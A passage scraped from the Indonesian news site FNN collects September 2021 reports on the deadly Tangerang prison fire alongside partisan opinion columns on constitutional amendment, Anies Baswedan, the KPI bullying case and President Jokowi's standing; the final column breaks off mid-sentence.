Jakarta, FNN - Anggota Dewan Pewakilan Rakyat, Aboebakar Alhabsyi meminta aparat penegak hukum melakukan penyelidikan pascakebakaran lembaga pemasyarakatan (Lapas) Kelas I Tangerang, Banten. Apalagi, kebakaran tersebut menewaskan 41 orang warga binaan lapas tersebut. "Sangat menyayangkan terjadinya kebakaran itu. Saya meminta aparat keamanan melakukan penyelidikan yang mendalam terhadap penyebab kebakaran lapas tersebut," kata Aboebakar dalam keterangan tertulis, di Jakarta, Rabu, 8 September 2021. Aboebakar menegaskan, sebagai anggota Komisi III DPR, dirinya meminta Direktur Jenderal Pemasyarakatan (Dirjen Pas) segera membuat langkah tanggap darurat. Kemudian, pihak kemenkumham perlu segera memberikan kabar kepada keluarga warga binaan, mengenai kondisi keluarga mereka. "Dapat pula dibuat call centre oleh Lapas Kelas 1 Tangerang, agar masyarakat bisa memantau kondisi keluarga, tanpa mendatangi lapas. Dengan demikian, dapat dihindari terjadinya kerumunan di lokasi Lapas Tangerang," tutur Aboebakar, sebagaimana dikutip dari Antara. Kemudian, perlu pengaturan secara khusus untuk prosedur indentifikasi dan pengembalian jenazah warga binaan yang meninggal. Sehingga protokol kesehatan tetap terjaga dengan baik. Pengaturan itu diperlukan agar pengambilan jenazah tidak menimbulkan antrean atau kerumunan. Sekjen PKS itu meminta Dirjen Pas melakukan penyelidikan mengenai penerapan SOP serta evaluasi penanganan kebakaran di lapas. "Harus dilakukan audit, bagaimana sebenarnya kejadian kebakaran itu. Kenapa sangat banyak korban yang meninggal dunia? Apakah memang ada SOP yang tidak dilakukan? Atau ada kelalaian dari petugas yang menyebabkan warga binaan tidak tertolong," ujarnya. Ia mengucapkan turut berduka yang mendalam atas wafatnya 41 warga binaan. Dia juga meminta agar 73 warga binaan yang terluka, segera diberikan perawatan terbaik. Sebelumnya, sebanyak 41 orang tewas dan 73 orang terluka, dan delapan di antaranya luka berat atas insiden kebakaran Lapas klas I Tangerang, Banten, Rabu (8/9) dini hari. Kebakaran terjadi di salah satu blok di dalam lapas yang berlokasi di Jalan Veteran, Kota Tangerang tersebut. (MD).

Keluarga Narapidana Datangi Lapas Tangerang Terkait Insiden Kebakaran

Tangerang, FNN - Sejumlah keluarga narapidana Lapas Kelas 1 Tangerang, Banten mulai berdatangan setelah mendengar peristiwa kebakaran yang menewaskan 41 orang. Haerudin yang mengaku sebagai orang tua dari narapidana Slamet Haryanto di Tangerang, Rabu (8/9/2021) mengatakan, dirinya datang ke Lapas Tangerang guna mengetahui kondisi anaknya. "Ketika mendengar informasi dari berita, saya langsung datang ke Lapas untuk memastikan kondisi anak saya," katanya, sebagaimana dikutip dari Antara. Dirinya pun bergegas masuk ke ruangan crisis center Lapas Kelas 1 Tangerang dan posko ante mortem untuk mengetahui kepastiannya. "Petugas mengaku belum tahu data korban. Tetapi saya masih berusaha mencari informasi memastikan kondisi anak saya," ujarnya. Perlu diketahui sebanyak 41 narapidana di Lapas Kelas 1 Tangerang tewas akibat insiden kebakaran. Saat ini kondisi di lapas masih dijaga ketat aparat kepolisian. Sejumlah pejabat datang untuk melihat dan memastikan kondisi terkait. (MD).

Buku Elegan dan Proporsional tentang Anies Baswedan dan Kerja-kerja Terukurnya

Oleh Rif'an Wahyudi *) SAAT menerima buku ini, kesan pertama menggoda, mengundang selera. Sedikit mengincip, sudah terasa gurih dan renyahnya. Tak Tumbang Dicerca, Tak Terbang Dipuja. Anies Baswedan dan kerja-kerja terukurnya adalah buku terbaru Ady Amar, judul yang mirip dgn kredo Anies Rasyid Baswedan, tak jatuh-terjerembab karena dicerca, tak melayang-terbang karena dipuja. Kredo tersebut diungkap Eep Saefulloh Fatah sahabat Ady (yang sekaligus pembuat sketsa wajah Anies yang dijadikan cover buku), memberikan tahniah atas terbitnya buku ini, bersama-sama sahabat-sahabat lainnya: Prof. Dr. M. Baharun, Prof. Daniel M. Rosyid, Fachry Ali, Dr. Dhimam Abror Djuraid, Hersubeno Arief, Anwar Hudijono, Ustadz Fahmi Salim, dan nama-nama lainnya. Buku setebal 263 h (termasuk h kecil) berupaya memotret tokoh nasional yang konsisten di papan atas lembaga-lembaga survei, bahkan namanya mendunia di berbagai forum global: Anies Rasyid Baswedan. Buku ini diterbitkan oleh Ikon Teralitera. Tampilan buku ini jernih, apalagi dipercantik dengan halaman full colour pada berbagai foto Anies dan lainnya dalam berbagai pose. Meskipun berupa kumpulan tulisan yang telah di-publish tersebar di berbagai media online, namun benang merahnya terlihat jelas. Sebuah rangkaian puzzle yang memunculkan potret tentang kerinduan Ady, dan kita semua tentunya, kepada seorang pemimpin berkualitas, yang pada era pencitraan saat ini menjadi barang langka. Pembelaan Ady tanpa pretensi kepada Anies ditulis secara elegan dan proporsional. Kualitas emosional seorang Anies yang membuatnya mampu bertahan dari bulan-bulanan framing media. Bahkan dapat membuat salah tingkah dan mati gaya bagi para penggonggong, pendengung, dan haters Anies. Terhadap buzzer fotografer Arbain Rambey dan Ferdinand Hutahean, atau tokoh/influencer Romo Benny Soesetyo, Anies tetap cool memilih tidak merespons. Bahkan saat diperhadapkan dengan Ganjar Pranowo atau Tri Rismaharini, no comment. Dalam pengantarnya sebagai penulis, Ady Amar mengklasterkan bunga rampainya ke dalam 3 bagian besar : - Tarian Sunyi Anies Baswedan di Seputar Fitnah dan Pembusukan Sistemik memuat 17 tulisan; - Manusia Merdeka, Bekerja dalam Senyap berisi 14 tulisan; dan - Hal-hal lain yang Berkaitan dengan Anies Baswedan terdiri dari 11 tulisan. Figur sentral dalam buku ini yaitu Anies Baswedan adalah seorang akademisi (merampungkan studi S-3, peneliti dan sempat menjadi Rektor), kepala keluarga (istri dan empat anak) serta pejabat publik (Menteri Kebudayaan dan Pendidikan Dasar-Menengah; dan Gubernur DKI Jakarta). Dalam salah satu bab-nya, Ady menulis tentang apresiasi TUMI (Transformative Urban Mobility Initiative) kepada Anies dengan menjadikannya sebagai 21 heroes 2021 disertai reasoning keterpilihan Jakarta sebagai kota yang mampu menciptakan transportasi yang adil, terjangkau dan inklusif bagi semua kalangan. Di belakang award internasional, terkumpul berpuluh penghargaan dari instansi pemerintah (antara lain KPK, BPS, Kemendagri, Kemenaker dll) dan penghargaan dari kalangan swasta. Sebutan netizen kepada Anies sebagai good-bener, atau julukan keseleo lidah oleh Tjahyo Kumolo (saat itu Mendagri), tidak membuat Anies besar kepala. Berbagai kegaduhan yang sengaja dihembus-tiupkan kepada Anies, mulai pilihan bacaan (buku "How Democracies Die") sampai berkaitan dengan banjir, HRS, reklamasi, Covid-19, sampai kontestasi 2024, tetap tidak memalingkan kerja-kerja terukurnya dalam memenuhi janji-janji politiknya sebagai Gubernur DKI Jakarta. Sebuah buku karya Ady Amar yang disampaikan dengan bahasa sejuk, renyah, nakal dan sebagaimana diungkap Dr. Dhimam Abror Djuraid dalam tahniahnya, "Ady Amar adalah seorang staunch supporter terhadap kebenaran dan keadilan. Ia tidak mendukung Anies Baswedan secara membabi buta. Ady menunjukan pembelaannya dengan logika dan argumen yang jernih dan sederhana, tetapi masuk di akal sehat. *) Peresensi, Redaktur Kaffah Channel, tinggal di Surabaya.

Kebakaran Tewaskan 41 Orang Narapidana di Penjara Tangerang

Tangerang, FNN - Sebanyak 41 orang narapidana dinyatakan tewas, 81 lainnya luka-luka dalam peristiwa kebakaran yang melanda Lembaga Pemasyarakatan (Lapas) Kelas I Tangerang, Banten, Rabu (8/9/2021) dini hari sekitar pukul 1.45. Hingga kini polisi masih melakukan olah tempat kejadian perkara terkait kebakaran yang diduga akibat hubungn arus pendek listrik. Berdasarkan keterangan yang diperoleh, kebakaran terjadi di Blok C Lapas yang berlokasi di Jalan Veteran, Kota Tangerang itu. Proses penanganan terhadap korban meninggal dunia dan luka-luka masih dilakukan petugas Lapas, petugas kesehatan dan petugas kepolisian. Sejumlah ambulans disiapkan di lokasi guna evakuasi. Setidaknya, ada tujuh ambulans dari kepolisian yang disiagakan di lokasi. Ambulans tersebut terlihat keluar-masuk secara bergiliran ke dalam area parkir Lapas. Korban luka ringan, dilakukan penanganan oleh tim medis klinik yang berada di Lapas Kelas I Tangerang itu. Sedangkan yang luka berat, dibawa ke Rumah Sakit Umum Daerah Kabupaten Tangerang, yang lokasinya tidak terlalu jauh dari Lapas yang terbakar. Kebakaran yang tejadi sekitar pukul 1.45 WIB dini hari tadi, baru bisa dipadamkan sekitar pukul 4.00 WIB. Pengamanan di lokasi kejadian dilakukan secara ketat oleh aparat gabungan dari kepolisian, Tentara Nasional Indonesia, dan petugas internal Lapas. (FNN/dari berbagai sumber).

DPD Sambut Wacana Amandemen UUD 1945

Jakarta, FNN - Wacana amandemen UUD 1945 diharapkan tidak sebatas untuk memuluskan agenda politik jangka pendek kelompok tertentu. Bergulirnya rencana amandemen harus dibarengi dengan tujuan mulia penyempurnaan sistem pemerintahan dan konsolidasi demokrasi yang merepresentasikan institusionalisasi keterwakilan yang kuat. Hal itu mencuat dari agenda Focus Group Discussion (FGD) Kelompok Dewan Perwakilan Daerah MPR RI di Tangerang (5/9). Ketua Kelompok DPD RI di MPR, Tamsil Linrung menegaskan bahwa DPD menyambut secara terbuka wacana amandemen yang tengah bergulir. Akan tetapi, perubahan UUD harus menyeluruh. Tidak parsial pada bagian-bagian tertentu saja. DPD mendorong agar amandemen berimplikasi positif pada penguatan sistem demokrasi di Indonesia. Termasuk optimalisasi peran DPD sebagai salah satu kamar di parlemen yang mengusung sistem bikameral. Jika DPD kuat, maka produk legislasi jadi lebih legitimate. “DPD adalah kanal aspirasi daerah. Artinya, secara representatif, DPD inilah wajah dari NKRI. Esensi demokrasi perwakilan hanya akan bisa dicapai jika DPD punya kewenangan memadai. Peran DPD juga bahkan merefleksikan perhatian kita pada pembangunan daerah dan NKRI,” ujar Tamsil dalam sambutannya. Senator asal Sulawesi Selatan ini mengimbuhkan, bahwa penguatan kewenangan DPD akan semakin memperkuat sistem demokrasi di Indonesia. Parlemen mestinya melahirkan produk hukum dari dialektika yang kaya dan perdebatan mendalam. Sehingga produk UU menjadi kuat dan representatif. Menampung berbagai aspirasi yang mencuat dari denyut kehidupan rakyat. Senada, pakar politik Lembaga Ilmu Pengetahuan Indonesia (LIPI), Siti Zuhro mendorong wacana amandemen UUD 1945 untuk tujuan penataan dan penguatan demokrasi. Salah satu yang mendapat sorotan yaitu kewenangan DPD yang dinilai tanggung dan agak ironis. “Sistem bikameral untuk mengakomodasi kepentingan masyarakat daerah yang berbeda-beda. Kewenangan representasi daerah mestinya lebih besar, tapi justru terjadi sebaliknya. Lembaga legislatif, tapi minim kewenangan legislatif,” imbuh Siti Zuhro Selain di sektor legislatif, menurut Siti Zuhro, amandemen kelima UUD 1945 harus juga diarahkan ke ranah eksekutif. Yaitu membuka ruang partisipasi kontestasi kepemimpinan yang seluas-luasnya untuk menjaring pemimpin terbaik bagi republik. Esensi pemilu adalah menyajikan kompetisi yang sehat, beradab dan promotif terhadap lahirnya pemimpin terbaik. Sehingga menjadi sangat relevan untuk meninjau kembali presidential threshold dan mendorong calon presiden independen. Pengamat sosial politik Ubedilah Badrun mengimbuhkan, gabungan anggota DPD semestinya diberi ruang mengajukan calon presiden dan wakil presiden. Karena secara komparatif, suara DPD sudah melampaui ambang batas pencalonan yang diberikan kepada partai politik sebesar 20% dari jumlah kursi DPR atau memperoleh 25% dari suara sah secara nasional pada pemilu anggota DPR sebelumnya. Guru Besar Universitas Negeri Jakarta, Hafid Abbas yang juga hadir sebagai narasumber menyoroti terjadinya keterbelahan sosial yang semakin meruncing dan mengakibatkan pelapukan dari dalam. Mantan Ketua Komnas HAM ini menilai, sistem politik saat ini melanggengkan ketimpangan dan menimbulkan berbagai problem sosial, karena sejak awal rekrutmen tidak representatif. Hanya mengakomodir kelompok tertentu. Sementara itu, pengamat hukum tata negara, Margarito Kamis mendorong DPD memperkuat peran dengan aktif mengangkat isu-isu daerah. Menurutnya, situasi politik yang membuat DPR melempem, justru jadi kesempatan bagi DPD menunjukkan jika ada kamar lain di parelemen yang berjuang untuk rakyat. (JD)

Amandemen atau Kembali? Referendum Yuk!

By M Rizal Fadillah KOTAK Pandora sudah terbuka, agenda amandemen menjadi wacana publik baik pro maupun kontra. Meski belum masuk konten tetapi sudah ramai perlu atau tidaknya amandemen. Alasan keberatan adalah pandemi dan arah demokrasi. Pandemi membuyarkan aspirasi kerakyatan namun memproteksi agenda kekuasaan. Arah demokrasi justru menuju pengendalian dan mobilisasi bukan kebebasan dan partisipasi. Amandemen yang telah dilakukan itu memang perlu untuk dievaluasi. Sistem presidensial membawa sial, dalam arti rakyat yang semakin tak berdaya baik ekonomi, sosial, maupun politik. Pemerintah semakin dominan, merasa menjadi pemilik kebenaran dan terkesan arogan. Kewenangan besar yang diberikan kepada Presiden disia-siakan bahkan dikhianati. DPR tak berdaya karena berkoalisi dalam kolusi yang berujung kooptasi. Anggota yang galak di ruang sidang, diam dan ramah setelah dibungkam. Amandemen terbukti berefek buruk pada sistem dan perilaku politik. Kini akan dilakukani amandemen lagi berupa penambahan kewenangan MPR. Amandemen terdahulu yang secara fundamental mengubah kedudukan dan mereduksi kewenangan MPR kini hendak dikoreksi dengan mengembalikan kewenangan MPR untuk menetapkan GBHN dalam nomenklatur baru PPHN. Ada tiga kekacauan konsistensi Konstitusi atas penetapan PPHN, yaitu : Pertama, dalam posisi MPR bukan sebagai lembaga tertinggi, maka penetapan PPHN tidak ada artinya. Tidak dapat diamanatkan kepada Presiden karena Presiden kini bukan lagi Mandataris MPR karenanya ia tidak bertanggungjawab kepada MPR. Tidak ada kewajiban Presiden menjalankan PPHN. Kedua, tidak ada sanksi khususnya kepada Presiden atas pelanggaran PPHN. UUD 1945 Pasal 7A mengatur secara limitatif hal hal apa yang menyebabkan Presiden dapat dimundurkan (impeachment) yaitu pengkhianatan negara, korupsi, penyuapan, tindak pidana berat lainnya, perbuatan tercela, dan tidak memenuhi syarat. Tidak ada elemen "melanggar PPHN". Ketiga, jika PPHN merujuk pada pembangunan nasional masa Soekarno dan Soeharto, sama saja dengan menghidupkan kembali tatanan politik Orla dan Orba. Artinya berlawanan dengan semangat Reformasi. Apalagi kenyataannya PPHN itu bersumber dari hasil Putusan Kongres V PDIP di Bali tahun 2019 yang berkaitan dengan GBHN dan Pembangunan Nasional Semesta Berencana (PNSB) masa Demokrasi Terpimpin. Mengingat kekacauan konsistensi Konstitusi tersebut maka rencana amandemen dan penetapan PPHN harus dibatalkan atau ditolak. Akan tetapi jika memang MPR bersikukuh ingin mengagendakan amandemen terbatas maka hendaklah ditanyakan dahulu langsung kepada rakyat melalui Referendum. Opsi lain adalah kembali ke UUD 1945 asli. Opsi ini penting mengingat besarnya suara rakyat yang ingin kembali kepada UUD 1945 asli sebelum adanya amandemen. Tentu agar semangat adanya GBHN dapat konsisten dan berbasis pada aturan UUD 1945 itu sendiri serta mengembalikan spirit bernegara sebagaimana dicita-citakan oleh para pendiri negara (the founding fathers). Amandemen atau kembali ke UUD 1945 ? Ayo tanyakan pada rakyat. Referendum, yuk! *) Pemerhati Politik dan Kebangsaan.

Belajar dari Guinea

Gara-gara ingin mengubah jabatan presiden dari dua periode menjadi tiga periode, maka terjadi kudeta di Guenia, presiden diturunkan, pemerintah dibubarkan, bagaimana di Indonesia? Oleh Sugengwaras Boleh-boleh saja meniru yang baik baiknya, semuanya boleh mencoba, kalau mau, asal jangan mencoba menyerah, apa lagi menyerah sebelum mencoba. Bukan kesulitan yang membuat takut, tapi ketakutan yang membuat sulit. Percaya nggak, sang pemberani, karena keberaniannya yang amat sangat, akhirnya bisa menjadi ketakutan sendiri, sebaliknya si penakut bisa mendadak berubah menjadi sangat pemberani karena ketakutannya akibat selalu ditakut-takuti. Mungkin saja, orang ada yang bilang bangsa Indonesia penakut dan mudah ditakut-takuti bukan oleh bangsa lain, tapi oleh bangsanya sendiri. Bahkan bangsa Indonesia adalah bangsa yang tahan menderita karena kebodohan dan kelemahannya? Manusia diangkat setinggi tingginya makhluk, kemudian dijatuhkan serendah rendahnya, kecuali bagi mereka yang tetap beriman dan bertaqwa. Begitu juga manusia tak akan berubah jika dia sendiri tak ada kemauan untuk mengubahnya. Dalam operasi tempur, biasanya tiap pimpinan selalu menekankan penggunaan munisi secara efektif efisien, artinya setidaknya satu peluru satu nyawa melayang. Namun pada situasi tertentu atau keadaan darurat dimana dalam hubungan satuan atau kelompok yang memerlukan kerjasama, saling bantu, saling dukung dan saling lindungi diperlukan daya tembak, daya gerak dan daya kejut. Artinya, ada sebagian kelompok yang menggunakan taktik gertak dengan menghamburkan peluru sebanyak banyaknya, sebesar besarnya dan sedahsyat dahsyatnya untuk membendung dan menekan musuh agar tidak sempat berdaya dan berkutik, guna kamulflase, tipuan, pengelabuhan untuk melindungi, menutupi dan memagari kelompok lainya yang mengundurkan diri atau lepas libat dalam suatu pertempuran untuk mendapatkan keuntungan lain yang lebih baik atau lebih besar. Bisa jadi dalam praktek politik, rezim meluncurkan beberapa wacana yang aneh aneh, sebanyak banyaknya, semau maunya dalam rangka pengelabuhan, pengalihan atau penyesatan dalam memuluskan atau mengoptimalkan rencana yang lain, yang sesungguhnya. Konkritnya wacana amandemen UUD ' 45 di samping sebagai langkah atau tahapan dalam rangka penguatan undang-undang / perpu yang baru juga sebagai pengalihan isu dalam melindungi sekaligus mengoptimalkan wacana wacana lama seperti UU BPIP / HIP, Omnibus Law, Pemindahan IbuKota Negara yang baru, Hutang Negara, TKA, korupsi dan lain-lain. Oleh karenanya, marilah bangsaku, tetap dan terus kita tingkatkan kewaspadaan, kepekaan dan kepedulian, baik melalui pikiran, perbuatan nyata dan doa dalam upaya memperbaiki dan memajukan negara ini. Percayalah, hanya akhlaq dan moral luhur dan mulia yang bisa membawa kearah lebih baik, yang akan bisa memusnahkan keburukan dan kejahatan. Jangan beri kesempatan bagi kejahatan, karena kejahatan yang dibiarkan sama halnya memberi kesempatan kejahatan menjadi raja atau penguasa. Jadilah pahlawan pahlawan sejati yang mampu mengajak dan menggerakkan bangsamu dalam melawan kedzoliman, kesewenang-wenangan dalam bentuk konkrit, dalam Satu Komando Merdeka. *) Purnawirawan TNI AD

Terduga di KPI Perlu Diperiksa Psikolog dan Lie Detector

By Asyari Usman KEMARIN tersiar berita bahwa para terduga pelaku perundungan (bully), penganiayaan dan pelecehan seksual di kantor Komisi Penyiaran Indonesia (KPI) akan melaporkan balik pelapor (korban). Kuasa hukum para terlapor, Tegar Putuhena, mengatakan alasan pelaporan balik ke polisi adalah penyebaran identitas (nama) lengkap para terduga. Kata Tegar, pengungkapan nama lengkap itu menyebabkan para terlapor mengalami perundungan di dunia maya. Termasuk keluarga mereka juga. Yang menarik, Tegar mengatakan, seperti dikutip CNNIndonesia, bahwa peristiwa yang dituduhkan terjadi pada 2015 tidak didukung oleh bukti-bukti kuat. Hanya pengakuan terlapor saja. Tegar membantah para terduga melakukan semua yang dituduhkan pelaporan seperti yang ia tulis di rilis media yang beredar pada 1/9/2021. Para terduga merasa mereka tidak pernah melakukan perundungan terhadap pelaporan dari 2015 sampai 2017. Secara pribadi, berdasarkan keberanian pelapor mengambil segala risiko melaporkan penderitaannya, saya lebih percaya kepada pelapor. Sebab, dia pastilah paham risiko melaporkan peristiwa yang sudah lama dan mungkin tidak punya bukti keras. Saya juga percaya pihak Kepolisian yang sekarang mengusut laporan korban yang berinisial MS itu, pastilah memiliki pengalaman yang beragam dalam melakukan penyelidikan dan penyidikan. Sangat mungkin bahwa pihak pelapor akan mengalami kesulitan untuk menunjukkan bukti-bukti material. Sebagai contoh adalah peristiwa penelanjangan korban dan corat-coret alat kelamin dia dengan spidol. Korban mengatakan para pelaku sempat mengambil foto kemaluan yang dicorat-coret itu. Tapi, bisa jadi foto itu tindakan pernah ditemukan lagi. Tetapi, tentunya ada aspek lain yang perlu diperhatikan. Yaitu, penyelidikan yang komprehensif. Termasuk penyelidikan terhadap latarbelakang semua terduga. Antara lain watak dan sifat-sifat mereka dalam pergaulan keseharian di lingkungan kantor KPI Pusat. Juga perlu dipelajari pergaulan sosial mereka. Untuk pergaulan sosial, hampir pasti tidak terlalu sulit untuk diungkap oleh Kepolisian. Tidak berlebihan pula kalau penyelidikan dan penyidikan dilakukan meluas sampai ke bahasa tubuh para pelaku. Cara mereka berpakaian, apa yang mereka pakai, dlsb. Barangkali saja penyelidikan dan penyidikan yang beraspek non-material ini belum tentu bisa dilakukan oleh Kepolisian. Bila ini menjadi kendala, Kepolisian bisa meminta bantuan para pakar atau praktisi psikologi, termasuk juga meminta bantuan para psikiater, kalau perlu. Para terduga sebaiknya diperiksa atau diwawancara oleh mereka. Di samping itu, ada pula cara lain yang sudah biasa digunakan di negara-negara maju. Yaitu, “lie detector” (detektor kebohongan) yang disebut juga dengan istilah “polygraph test”. Dalam proses wawancara, alat pendeteksi kebohongan ini bisa memberikan indikasi berbohong dengan presisi yang jaub lebih bagus dibandingkan pendeteksian oleh seseorang pemeriksa yang tidak menggunakan “lie detector”. Tingkat akurasi alat deteksi kebohongan mencapai 80%-90%. Sedangkan akurasi deteksi yang dilakukan oleh seorang pewawancara tanpa “lie detector” hanya sekitar 55%. Kembali ke dugaan kasus perudungan, pelecehan seksual dan penganiayaan terhadap MS di kantor KPI Pusat. Pihak Kepolisian memang tidak bisa menggunakan hasil “lie detector” sebagai alat bukti. Tetapi, setidaknya bisa mengungkap apakah para pelaku berkata benar atau tidak. Sekali lagi, saya pribadi percaya pada isi “curhat” MS yang ditujukannya kepada Presiden Jokowi itu. Saya hanya mengandalkan instink (naluri), firasat, dan “common sense” (akal sehat) yang saya kaitkan ke banyak aspek yang menyebabkan MS muncul dengan rilis media itu. Keberanian MS membuat pengakuan yang menggegerkan itu dan menyebutkan para terduga pelaku, adalah tindak yang luar biasa. Jangan sampai aspek ini tidak dijadikan pertimbangan oleh Kepolisian dan lembaga penegak keadilan di tahap berikutnya. Sebab, banyak sekali “bukti-bukti implisit” yang bisa digali dari sini. Kecil kemungkinan MS berhalusinasi yang bisa membawa dia ke penjara. (Penulis wartawan senior FNN)

Sandyakala Ning Joko Widodo

SANDYAKALA artinya guratan merah di langit saat memasuki senja. Sandyakala Ning Joko Widodo artinya waktu yang dimiliki Joko Widodo sudah mulai habis, terlihat samar-samar, mulai redup bertepatan dengan tenggelamnya matahari menuju gelap. Adalah sastrawan Sanusi Pane yang memopulerkan kata itu ketika menulis sebuah drama sejarah berjudul Sandyakala Ning Madjapahit yang ditulis pada tahun 1930-an. Ensiklopedi Sastra Indonesia mencatat drama itu pertama kali dimuat dalam Majalah Timbul Nomor 1--6, Tahun VII, 1932, dan Nomor 3—4 Februari 1933. Setelah Sanusi Pane meninggal dunia pada 02 Juni 1966 atas inisiatif Ajip Rosidi, tahun 1971 drama "Sandyakala Ning Madjapahit" itu diterbitkan kembali oleh Penerbit Pustaka Jaya, Jakarta, dalam bentuk buku. Buku Sandyakala Ning Madjapahit ternyata mendapat sambutan yang hangat di kalangan masyarakat sastra. Sanusi Pane tampaknya ingin menunjukkan kepada kita bahwa kejayaan suatu kerajaan harus didukung oleh kejujuran dan keunggulan pribadi para pemimpinnya. Ia akan rontok lebih cepat oleh kerakusan, kesombongan, dan kebodohan. Drama ini menekankan banyaknya konflik para aparat kerajaan yang berakibat runtuhnya kerajaan, merupakan simbol hancurnya peradaban lama dan bangkitnya peradaban baru. Tokoh-tokoh yang terlibat dalam konflik adalah ratu, kaum bangsawan, dan agamawan. Ratu yang jiwanya bersih dari angkara dan harta, yang hidup sesuai dengan zamannya, bisa menyelamatkan dan menegakkan kerajaan yang hampir runtuh. Akan tetapi, dengan disingkirkannya sama sekali elemen penyelamat dan pendukung satu-satunya, akhirnya runtuhlah pula tiang-tiang kejayaan kerajaan tersebut. Rupanya drama ini ditulis sebagai penyalur rasa tertekan kaum intelektual oleh penindasan pemerintahan Belanda yang amat keras terhadap pergerakan sekitar tahun 1930-an. Namun, di tengah penggambaran kehancuran dan runtuhnya suatu kekuasaan tersebut, masih terselip secara samar-samar harapan akan terang yang baru. Dalam istilah politik kekinian, analoginya hampir sama bahwa penguasa yang bertengger saat ini sedang memasuki sandya kala. Kekuasaannya sudah mulai habis. Cahayanya mulai redup. Masa kegemilangannya mulai tenggelam, bahkan lebih cepat karena intrik dan politik di dalam kekuasaan itu sendiri. Para tokoh yang berkonflik dalam rezim ini juga memiliki unsur yang sama yakni presiden, kaum bangsawan, dan agamawan. Bangsa Indonesia tahu, Jokowi naik menjadi presiden adalah atas jasa PDIP dan Megawati. Tanpanya Jokowi bukan siapa-siapa. Akan tetapi tabiat asli Jokowi sudah terbaca sejak awal. Orang memberi cap sebagai Kacang Lupa Kulitnya. Kisruh di istana Jokowi terjadi pada 100 hari kepemimpinan periode pertama ditandai dengan perpecahan antara Megawati dan Jokowi. Pemicunya adalah pergantian Kapolri yang diikuti saling sandera antara KPK dan POLRI. Rakyat tahu calon Kapolri Budi Gunawan adalah usulan Megawati. Penundaan pelantikan Kapolri tentu saja merupakan pesan buruk yang diterima Megawati dari Jokowi. Apalagi akhirnya Kapolri pilihan Megawati tak jadi dilantik. Luka itu masih menganga sampai hari ini. Rupanya Megawati seorang pengingat yang baik. Dalam banyak kesempatan Megawati selalu menyinggung Jokowi sebagai petugas partai. Kekhawatiran Megawati terhadap Jokowi tak bisa dimaklumi lagi. Lihat saja, pernyataan Megawati ini “Saya punya tanda tangan Pak Jokowi, dia petugas partai. Tanda tangan itu untuk Ketua Umum PDIP. Tapi kan gak pernah saya beber-beber. Hanya supaya kalau sewaktu-waktu yang namanya terjadi pembulyan terhadap saya sudah kelewatan, baru akan saya sampaikan bahwa ini konstitusi partai. Sampai presiden yang datang dari kita, saya katakan bahwa ini adalah petugas partai”. Serangan terhadap Jokowi juga dilakukan putri Megawati, Puan Maharani. Sepertinya tekad Megawati sudah bulat, tak lagi membutuhkan Jokowi sebagai petugas partai. Ia pun mendorong Puan untuk tampil menjadi pemimpin masa depan. Ketua DPR itu pun keluar kandang dengan memasang baliho di mana-mana. Kepak Sayap Kebhinnekaan menjadi andalan propaganda. Ia mulai berani melempar kritik tajam terhadap kinerja pemerintahan Jokowi, khususnya dalam penanganan pandemi Covid-19. Puan menilai pemerintah gagal memulihkan kepercayaan masyarakat di tengah pandemi. “Percuma ada berbagai kebijakan bahkan pembatasan mobilitas rakyat kalau program ini di lapangan dijalankan ala kadarnya apalagi terkait dengan perut rakyat”. Pada kesempatan berbeda Puan juga menggebrak soal komunikasi publik Jokowi yang buruk. “Perbaiki komunikasi publik termasuk kejelasan siapa yang pegang komando dari krisis ini, terutama terkait dengan keputusan pemerintah,” sentil Puan. Suara Puan adalah suara Megawati sebagai pimpinan PDIP. Masyarakat tahu bahwa PDIP adalah “The Rulling Party” sehingga kebijakan Pemerintah adakah produk, sepengetahuan, atau sepersetujuan PDIP. Akan tetapi realitas politik berbeda di lapangan. Ada pasang naik dan surut hubungan intim politiknya. Jokowi memang bukan kader murni PDIP. Ia tak bisa lepas dari kegemarannya berjalan sendiri di got, sawah, hutan, jalan tol, lokasi banjir, atau kandang bebek. Megawati agaknya tak suka gaya ini. Ketika relawan Jokowi menggaungkan perpanjangan jabatan Presiden tiga periode, PDIP yang memiliki Puan Maharani sebagai kader jagoan untuk dimajukan Pilpres 2024, langsung meradang. Begitu juga ketika Jokowi bermain-main dengan Ganjar Pranowo, Puan menghajar Gubernur Jawa Tengah melalui kadernya Bambang Pacul, Ketua DPD PDIP Jawa Tengah. Di daerah Bambang terus memacul siapapun kader yang tak sejalan dengan garis partai. Keberanian Puan mengkritik Jokowi merupakan bukti nyata bahwa kekuatan rezim mulai rapuh. Jika PDIP menarik dukungan “petugas partai yang durhaka” maka dipastikan Pemerintahan Jokowi bakal ambrol. Mungkin sebelum 2024. Di luar istana, dalam beberapa hari ini kekecewaan rakyat terhadap Jokowi makin meluas. Tak hanya kecewa terhadap kebijakan penanganan pandemi Covid-19 tetapi kecewa terhadap seluruh kebijakan rezim yang memaksa. Rakyat terus dipaksa mengikuti irama dan kehendak penguasa. Akumulasi dari kekecewaan ini juga memaksa rakyat makin berani menyampaikan pendapatnya, baik dalam bentuk video, tulisan, maupun coretan di jalanan. Di Danau Toba Medan Sumatera Utara, rakyat melakukan demonstrasi meminta Jokowi turun. Spanduk bertuliskan “Close Jokowi” mewarnai aksi tersebut. Di Jabotabek, mahasiswa terus melakukan konsolidasi untuk menentukan dan memantapkan aksinya. Mereka tengah menyusun strategi, jadwal, dan tema aksi untuk segera direalisasikan dalam waktu dekat. Di Kalimantan, Papua, dan Maluku mahasiswa sudah gerah melihat sepak terjang rezim yang makin jauh dari arah reformasi. Mereka menganggap Jokowi mundur adalah solusi terbaik. Di Makassar, demonstrasi mahasiswa Universitas Muhammadiyah Indonesia meminta Jokowi lengser karena tidak berpihak kepada petani, buruh, dan masyarakat kecil. Sebelumnya, di kalangan TNI, Perwira TNI Ruslan Buton meminta Presiden Jokowi mundur, tapi malah dipenjara dengan tuduhan ujaran kebencian. Tak hanya itu, Presiden digugat mundur di PN Jakarta Pusat oleh Muhidin Jalin, dari Tim Pembela Ulama dan Aktivis karena telah melakukan perbuatan melawan hukum. Jokowi diminta menyatakan pengunduran diri secara terbuka. Pakar hukum tata negara Refly Harun melalui kanal YouTubenya meminta Presiden Jokowi mundur karena dari sisi amanat konstitusi, Presiden gagal melindungi segenap bangsa dan seluruh tumpah darah, berkaitan dengan banyaknya korban meninggal dalam pandemi Covid-19. Akademisi Rocky Gerung menilai desakan masyarakat agar Jokowi mundur adalah konsekuensi logis atas kegagalannya dalam menangani Pandemi Covid-19. Fenomena kegagalan rezim berganti menjadi fenomena ujaran kebencian, hoax, eksploitasi SARA, kriminalisasi ulama, beternak buzzer, pemujaan terhadap TKA Cina, petani dan nelayan terpinggirkan, 